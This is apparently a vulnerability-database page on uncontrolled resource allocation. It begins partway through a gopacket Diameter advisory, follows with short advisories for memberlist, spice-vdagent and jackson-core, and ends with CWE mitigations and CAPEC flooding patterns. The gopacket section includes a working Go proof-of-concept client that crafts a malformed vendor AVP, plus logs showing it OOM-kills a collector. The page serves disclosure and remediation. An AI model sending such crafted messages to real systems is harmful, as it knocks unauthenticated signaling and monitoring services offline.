AVP loop `decodeDiameterAVP(avpData)` (diameter.go:158) -\u003e sink at `diameter_avp_decoders.go:57`.\n\nDiameter (RFC 6733) is a TCP/SCTP base protocol used for AAA and telecom/5G signaling. Any service that parses Diameter with gopacket (packet collectors, signaling monitors, IDS/analysis tooling) processes attacker-sent or attacker-forwarded Diameter messages with no authentication involved, so any host able to deliver such a message to the parser reaches the sink. The same path is reached via `gopacket.NewPacket(data, LayerTypeDiameter, ...)`. The Diameter layer is specific to this gopacket fork (the original google/gopacket has no Diameter layer), so there is no upstream sibling fix.\n\n## Impact\n\nUnauthenticated remote denial of service via memory exhaustion. Each malicious 32-byte Diameter message requests a ~4 GiB allocation (amplification ~1.34e8x over the input). There is no memory corruption and no code execution -- the impact is resource exhaustion / process termination. Severity assessed as Medium (unauthenticated remote DoS, no memory-safety violation).\n\nNote on consumer behavior (measured end-to-end against a deployed collector, see PoC):\n\n- A collector using the recovering `gopacket.NewPacket(..., gopacket.Default)` API survives a *single* malicious message: the ~4 GiB `make([]byte, dataLength)` runs (in-process `runtime.MemStats` shows a 4096 MB `TotalAlloc` delta per message), but the immediately-following out-of-bounds `copy` panics before the allocator faults in the 4 GiB of physical pages, the panic is recovered into an `ErrorLayer`, and the reservation is reclaimed by the GC. RSS therefore does not commit on a single message.\n- **Two malicious messages in succession reliably OOM-kill the collector** under a 256 MB cap: the second `make` commits physical pages before the first reservation is fully returned to the cgroup, and the kernel cgroup OOM-killer terminates the process (`OOMKilled=true`, exit 137). This was reproduced with two messages sent strictly serially to the single-threaded accept loop (no concurrency required).\n- Consumers that call `DecodeFromBytes` directly (common in performance-sensitive collectors) or set `SkipDecodeRecovery: true` additionally get an uncaught panic / crash on the first message.\n\nIn all cases the underlying defect is the same unbounded ~4 GiB allocation driven by an attacker-controlled field; the only variable is how many messages it takes to exhaust a given memory limit.\n\n## Proof of Concept\n\nThis PoC is an end-to-end test against a real deployed Diameter collector. A minimal but realistic TCP collector (built on the public gopacket API) runs inside a hard-capped 256 MB container; an independent client process sends real malicious Diameter messages over a real TCP socket; the collector process is then observed to die. A benign message is used as a negative control. The harness pins `github.com/gopacket/gopacket@v1.6.0` (the sink is confirmed at the v1.6.0 tag, `layers/diameter_avp_decoders.go:56-58`).\n\n### Collector (real TCP Diameter collector)\n\n```go\n// collector.go \u2014 accepts a TCP connection, reads one Diameter message (framed by\n// the 24-bit Message Length in the base header), builds a gopacket.Packet rooted\n// at LayerTypeDiameter and accesses the layer, which drives the registered\n// Diameter decoder over the attacker-controlled bytes.\npackage main\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"os\"\n\n\t\"github.com/gopacket/gopacket\"\n\t\"github.com/gopacket/gopacket/layers\"\n)\n\nfunc readDiameterMessage(conn net.Conn) ([]byte, error) {\n\thdr := make([]byte, 20)\n\tif _, err := io.ReadFull(conn, hdr); err != nil {\n\t\treturn nil, err\n\t}\n\tmsgLen := uint32(hdr[1])\u003c\u003c16 | uint32(hdr[2])\u003c\u003c8 | uint32(hdr[3])\n\tif msgLen \u003c 20 {\n\t\treturn hdr, nil\n\t}\n\tfull := make([]byte, msgLen)\n\tcopy(full, hdr)\n\tif _, err := io.ReadFull(conn, full[20:]); err != nil {\n\t\treturn nil, err\n\t}\n\treturn full, nil\n}\n\nfunc main() {\n\tln, err := net.Listen(\"tcp\", \"0.0.0.0:3868\")\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"listen error: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tdefer ln.Close()\n\tfmt.Printf(\"[collector] Diameter collector listening on tcp %s\\n\", ln.Addr())\n\tfor {\n\t\tconn, err := ln.Accept()\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tfunc() {\n\t\t\tdefer conn.Close()\n\t\t\tdata, err := readDiameterMessage(conn)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tfmt.Printf(\"[collector] received %d-byte Diameter message from %s\\n\", len(data), conn.RemoteAddr())\n\t\t\tpkt := gopacket.NewPacket(data, layers.LayerTypeDiameter, gopacket.Default)\n\t\t\tif d, ok := pkt.Layer(layers.LayerTypeDiameter).(*layers.Diameter); ok {\n\t\t\t\tfmt.Printf(\"[collector] decoded Diameter: version=%d cmd=%d msgLen=%d avps=%d\\n\",\n\t\t\t\t\td.Version, d.CommandCode, d.MessageLength, len(d.AVPs))\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"[collector] no Diameter layer decoded\\n\")\n\t\t\t}\n\t\t}()\n\t}\n}\n```\n\n### Client (independent process, real TCP socket, no gopacket dependency)\n\nThe client crafts a 20-byte Diameter base header followed by one vendor AVP whose 24-bit Length is `avpLen`. With the Vendor flag set, the decoder\u0027s `headerSize` becomes 12; for `avpLen` in `{8,9,10,11}` the `dataLength = avpLen - 12` subtraction underflows. For the benign case `avpLen \u003e= 12` so the AVP carries `avpLen-12` real bytes and parses cleanly.\n\n```go\n// client.go \u2014 usage: client \u003caddr\u003e \u003cavpLen\u003e [--benign]\npackage main\n\nimport (\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\t\"strconv\"\n\t\"time\"\n)\n\nfunc be32(v uint32) []byte { b := make([]byte, 4); binary.BigEndian.PutUint32(b, v); return b }\n\nfunc craft(avpLen uint32, benign bool) []byte {\n\tavp := []byte{}\n\tavp = append(avp, be32(1)...) // AVP Code = 1\n\tavp = append(avp, 0x80) // Flags: Vendor bit set -\u003e headerSize becomes 12\n\tavp = append(avp, byte(avpLen\u003e\u003e16), byte(avpLen\u003e\u003e8), byte(avpLen)) // 24-bit Length\n\tavp = append(avp, be32(0)...) // VendorID\n\tif benign {\n\t\tdataLen := int(avpLen) - 12\n\t\tif dataLen \u003c 0 {\n\t\t\tdataLen = 0\n\t\t}\n\t\tpadded := dataLen\n\t\tif padded%4 != 0 {\n\t\t\tpadded += 4 - padded%4\n\t\t}\n\t\tfor i := 0; i \u003c padded; i++ {\n\t\t\tavp = append(avp, 0x42)\n\t\t}\n\t} else {\n\t\tfor len(avp) \u003c 12 {\n\t\t\tavp = append(avp, 0x00)\n\t\t}\n\t}\n\tmsgLen := uint32(20 + len(avp))\n\thdr := make([]byte, 20)\n\thdr[0] = 0x01 // Version 1\n\thdr[1] = byte(msgLen \u003e\u003e 16)\n\thdr[2] = byte(msgLen \u003e\u003e 8)\n\thdr[3] = byte(msgLen)\n\thdr[4] = 0x80 // Command Flags: Request\n\thdr[5], hdr[6], hdr[7] = 0x00, 0x01, 0x01 // CommandCode 257\n\treturn append(hdr, avp...)\n}\n\nfunc main() {\n\taddr := os.Args[1]\n\tavpLen, _ := strconv.ParseUint(os.Args[2], 10, 32)\n\tbenign := len(os.Args) \u003e 3 \u0026\u0026 os.Args[3] == \"--benign\"\n\tdata := craft(uint32(avpLen), benign)\n\tconn, err := net.Dial(\"tcp\", addr)\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"dial error: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tdefer conn.Close()\n\tconn.Write(data)\n\tfmt.Printf(\"[client] sent %d-byte Diameter message (avpLen=%d, vendor, benign=%v)\\n\",\n\t\tlen(data), avpLen, benign)\n\tbuf := make([]byte, 1)\n\tconn.SetReadDeadline(time.Now().Add(3 * time.Second))\n\tconn.Read(buf)\n}\n```\n\n### Run and observed result\n\nThe collector runs under a hard 256 MB cgroup cap with swap disabled (`--memory=256m --memory-swap=256m`) so the OOM is contained to the cgroup and the host is unaffected.\n\nNegative control (benign message, vendor AVP `Length=16`, `dataLength=4`):\n\n```\n$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 16 --benign\n[client] sent 36-byte Diameter message (avpLen=16, vendor, benign=true)\n\n# collector log:\n[collector] received 36-byte Diameter message from 172.19.0.3:53216\n[collector] decoded Diameter: version=1 cmd=257 msgLen=36 avps=1\n# collector status: running (ALIVE); RSS flat at 1.5 MiB\n```\n\nAttack message #1 (malicious, vendor AVP `Length=8` -\u003e `8-12` underflow -\u003e ~4 GiB make):\n\n```\n$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 8\n[client] this AVP makes dataLength = 8 - 12 = 4294967292 (uint32 underflow) -\u003e make([]byte, 4294967292) ~= 4.00 GiB\n[client] message sent over real TCP socket\n\n# collector log:\n[collector] received 32-byte Diameter message from 172.19.0.3:53230\n[collector] no Diameter layer decoded\n# collector status after #1: running (the single ~4 GiB make panics on the\n# subsequent out-of-bounds copy and is recovered before physical pages commit);\n# RSS 6.5 MiB\n```\n\nAttack message #2 (same malicious message again):\n\n```\n$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 8\n[client] this AVP makes dataLength = 8 - 12 = 4294967292 (uint32 underflow) -\u003e make([]byte, 4294967292) ~= 4.00 GiB\n[client] message sent over real TCP socket\n\n# container final state:\nStatus=exited OOMKilled=true ExitCode=137\n```\n\nTwo malicious 32-byte Diameter messages, delivered over a real TCP socket to a real gopacket-based collector, terminate the collector process: the kernel cgroup OOM-killer fires (`OOMKilled=true`, exit 137). A single message is recovered by the default decoding API and the process survives, but the second `make([]byte, 4294967292)` commits before the first reservation is reclaimed and exhausts the 256 MB limit. This was reproduced with the two messages sent strictly serially (no concurrency). The benign control on the same collector decodes cleanly and the process stays alive with flat RSS, confirming the attacker-controlled AVP Length underflow is what drives the allocation.\n\nIn-process measurement confirms the per-message allocation: feeding the same 32-byte message through `gopacket.NewPacket(..., gopacket.Default)` shows a `runtime.MemStats` `TotalAlloc` delta of 4096 MB, i.e. the `make([]byte, 4294967292)` genuinely executes on every message before the copy panics.\n\nThe host is unaffected throughout: the allocation is contained by the 256 MB cgroup cap (no swap), and host swap stayed above 900 MB free across the run.\n\n## Affected versions\n\n`github.com/gopacket/gopacket` \u003c= v1.6.0 (v1.6.0 is the latest release; the sink is present at the v1.6.0 tag). The Diameter layer is specific to this module.\n\n## Suggested fix\n\nAfter `headerSize` is finalized (i.e. after the Vendor-flag branch), reject any AVP whose declared Length cannot cover its own header, before computing `dataLength`:\n\n```go\nif avp.Length \u003c uint32(headerSize) {\n return DiameterAVP{}, 0, fmt.Errorf(\"invalid AVP length: %d, smaller than header size %d\", avp.Length, headerSize)\n}\n```\n\nThis mirrors the existing `avp.Length \u003c 8` check but accounts for the 12-byte vendor header, eliminating the underflow and capping the allocation at the real data size. With this guard the upstream `go test ./layers -run Diameter` suite (9 tests) still passes and valid vendor AVPs parse unchanged.",
"id": "GHSA-6r28-9ppf-4hj5",
"modified": "2026-07-28T16:14:36Z",
"published": "2026-07-28T16:14:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gopacket/gopacket/security/advisories/GHSA-6r28-9ppf-4hj5"
},
{
"type": "WEB",
"url": "https://github.com/gopacket/gopacket/commit/145859d0eaee1a6f5925ffb93851c976449c3311"
},
{
"type": "PACKAGE",
"url": "https://github.com/gopacket/gopacket"
},
{
"type": "WEB",
"url": "https://github.com/gopacket/gopacket/releases/tag/v1.6.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GoPacket\u0027s Diameter AVP decoder: uint32 underflow on vendor header size leads to unbounded ~4 GiB allocation (unauthenticated remote DoS)"
}
GHSA-6R3R-6RPF-V429
Vulnerability from github – Published: 2026-07-08 18:31 – Updated: 2026-07-08 18:31HashiCorp memberlist before version 0.6.0 is vulnerable to a denial-of-service issue in its push/pull state handling that may allow an attacker with network access to the gossip port to exhaust memory on a receiving node and cause the process to terminate. This vulnerability (CVE-2026-14362) is fixed in memberlist 0.6.0.
{
"affected": [],
"aliases": [
"CVE-2026-14362"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-08T18:16:32Z",
"severity": "MODERATE"
},
"details": "HashiCorp memberlist before version 0.6.0 is vulnerable to a denial-of-service issue in its push/pull state handling that may allow an attacker with network access to the gossip port to exhaust memory on a receiving node and cause the process to terminate. This vulnerability (CVE-2026-14362) is fixed in memberlist 0.6.0.",
"id": "GHSA-6r3r-6rpf-v429",
"modified": "2026-07-08T18:31:38Z",
"published": "2026-07-08T18:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14362"
},
{
"type": "WEB",
"url": "https://discuss.hashicorp.com/t/hcsec-2026-18-memberlist-vulnerable-to-denial-of-service-via-gossip-message/77556"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6RMH-MMFF-JMFJ
Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2022-05-24 17:34A flaw was found in the spice-vdagentd daemon, where it did not properly handle client connections that can be established via the UNIX domain socket in /run/spice-vdagentd/spice-vdagent-sock. Any unprivileged local guest user could use this flaw to prevent legitimate agents from connecting to the spice-vdagentd daemon, resulting in a denial of service. The highest threat from this vulnerability is to system availability. This flaw affects spice-vdagent versions 0.20 and prior.
{
"affected": [],
"aliases": [
"CVE-2020-25652"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-11-26T02:15:00Z",
"severity": "MODERATE"
},
"details": "A flaw was found in the spice-vdagentd daemon, where it did not properly handle client connections that can be established via the UNIX domain socket in `/run/spice-vdagentd/spice-vdagent-sock`. Any unprivileged local guest user could use this flaw to prevent legitimate agents from connecting to the spice-vdagentd daemon, resulting in a denial of service. The highest threat from this vulnerability is to system availability. This flaw affects spice-vdagent versions 0.20 and prior.",
"id": "GHSA-6rmh-mmff-jmfj",
"modified": "2022-05-24T17:34:58Z",
"published": "2022-05-24T17:34:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25652"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1886366"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/01/msg00012.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GQT56LATVTB2DJOVVJOKQVMVUXYCT2VB"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/OIWJ2EIQXWEA2VDBODEATHAT37X4CREP"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2020/11/04/1"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6V53-7C9G-W56R
Vulnerability from github – Published: 2026-03-04 21:23 – Updated: 2026-03-06 21:58Summary
The UTF8DataInputJsonParser, which is used when parsing from a java.io.DataInput source, bypasses the maxNestingDepth constraint (default: 500) defined in StreamReadConstraints.
A similar issue was found in ReaderBasedJsonParser.
This allows a user to supply a JSON document with excessive nesting, which can cause a StackOverflowError when the structure is processed, leading to a Denial of Service (DoS).
The related fix for com.fasterxml.jackson.core:jackson-core, CVE-2025-52999, was not fully applied to tools.jackson.core:jackson-core until the 3.1.0 release. It is recommended that 3.0.x users upgrade.
Patches
jackson-core contains a configurable limit for how deep Jackson will traverse in an input document. This check was missing in a few places in tools.jackson.core:jackson-core.
The change is in https://github.com/FasterXML/jackson-core/pull/1554. jackson-core will throw a StreamConstraintsException if the limit is reached.
jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs.
Workarounds
Users should avoid parsing input files from untrusted sources.
Resources
GHSA-6v53-7c9g-w56r https://nvd.nist.gov/vuln/detail/CVE-2025-52999 https://github.com/FasterXML/jackson-core/pull/1554
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29062"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-04T21:23:45Z",
"nvd_published_at": "2026-03-06T08:16:26Z",
"severity": "HIGH"
},
"details": "### Summary\nThe `UTF8DataInputJsonParser`, which is used when parsing from a `java.io.DataInput` source, bypasses the `maxNestingDepth` constraint (default: 500) defined in `StreamReadConstraints`.\n\nA similar issue was found in `ReaderBasedJsonParser`.\n\nThis allows a user to supply a JSON document with excessive nesting, which can cause a `StackOverflowError` when the structure is processed, leading to a Denial of Service (DoS).\n\nThe related fix for com.fasterxml.jackson.core:jackson-core, CVE-2025-52999, was not fully applied to tools.jackson.core:jackson-core until the 3.1.0 release. It is recommended that 3.0.x users upgrade.\n\n### Patches\njackson-core contains a configurable limit for how deep Jackson will traverse in an input document. This check was missing in a few places in tools.jackson.core:jackson-core. \n\nThe change is in https://github.com/FasterXML/jackson-core/pull/1554. jackson-core will throw a StreamConstraintsException if the limit is reached.\n\njackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs.\n\n### Workarounds\nUsers should avoid parsing input files from untrusted sources.\n\n### Resources\n[GHSA-6v53-7c9g-w56r](https://github.com/FasterXML/jackson-core/security/advisories/GHSA-6v53-7c9g-w56r)\nhttps://nvd.nist.gov/vuln/detail/CVE-2025-52999\nhttps://github.com/FasterXML/jackson-core/pull/1554",
"id": "GHSA-6v53-7c9g-w56r",
"modified": "2026-03-06T21:58:00Z",
"published": "2026-03-04T21:23:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-6v53-7c9g-w56r"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-h46c-h94j-95f3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52999"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29062"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/pull/1554"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/8b25fd67f20583e75fb09564ce1eaab06cd5a902"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "jackson-core has Nesting Depth Constraint Bypass in `UTF8DataInputJsonParser` potentially allowing Resource Exhaustion"
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.